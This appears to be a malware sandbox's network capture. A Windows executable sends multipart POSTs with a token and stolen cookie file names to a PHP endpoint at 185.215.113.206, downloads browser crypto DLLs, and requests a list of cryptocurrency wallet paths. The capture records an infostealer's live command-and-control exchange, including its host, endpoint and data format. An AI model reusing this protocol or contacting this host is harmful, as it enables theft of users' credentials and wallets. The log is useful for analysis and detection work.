Nov 18, 2024 04:41:22.500900030 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:22.622230053 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="file"------GDBKKFHIEGDHJKECAAKK--
Nov 18, 2024 04:41:23.394737005 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49833	185.215.113.206	80	3776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:41:29.087848902 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:41:29.087958097 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 18, 2024 04:41:30.494853973 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:31.201653004 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file"------KKKEBKJJDGHCBGCAAKEH--
Nov 18, 2024 04:41:31.972620964 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:32.930736065 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:33.209878922 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 18, 2024 04:41:33.209975004 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 18, 2024 04:41:33.209990025 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 18, 2024 04:41:33.210004091 CET	212	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
Nov 18, 2024 04:41:33.210020065 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Nov 18, 2024 04:41:33.210045099 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Nov 18, 2024 04:41:33.210053921 CET	424	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Nov 18, 2024 04:41:33.210062981 CET	1236	IN	Data Raw: 04 b8 ff ff ff ff e9 99 00 00 00 8b 75 10 8b 48 18 8b 1f ff 15 00 80 0a 10 ff 75 14 56 ff 75 0c 53 ff d1 83 c4 10 8b 16 8b 4f 04 b8 ff ff ff ff 3b 11 75 70 8b 49 10 8b 1f ff 15 00 80 0a 10 53 ff d1 83 c4 04 8b 07 89 45 f0 8b 47 04 8b 48 14 8b 70 Data Ascii: uHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHu
Nov 18, 2024 04:41:33.210072994 CET	212	IN	Data Raw: 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 Data Ascii: ]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQ
Nov 18, 2024 04:41:33.210186005 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Nov 18, 2024 04:41:34.530349016 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:34.809139967 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 18, 2024 04:41:35.785512924 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:36.064259052 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 18, 2024 04:41:36.730842113 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:37.010678053 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 18, 2024 04:41:38.954333067 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:39.233921051 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 18, 2024 04:41:39.576044083 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:39.855400085 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 18, 2024 04:41:40.542188883 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEG Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:41:41.335118055 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:41.404413939 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Nov 18, 2024 04:41:41.685966015 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 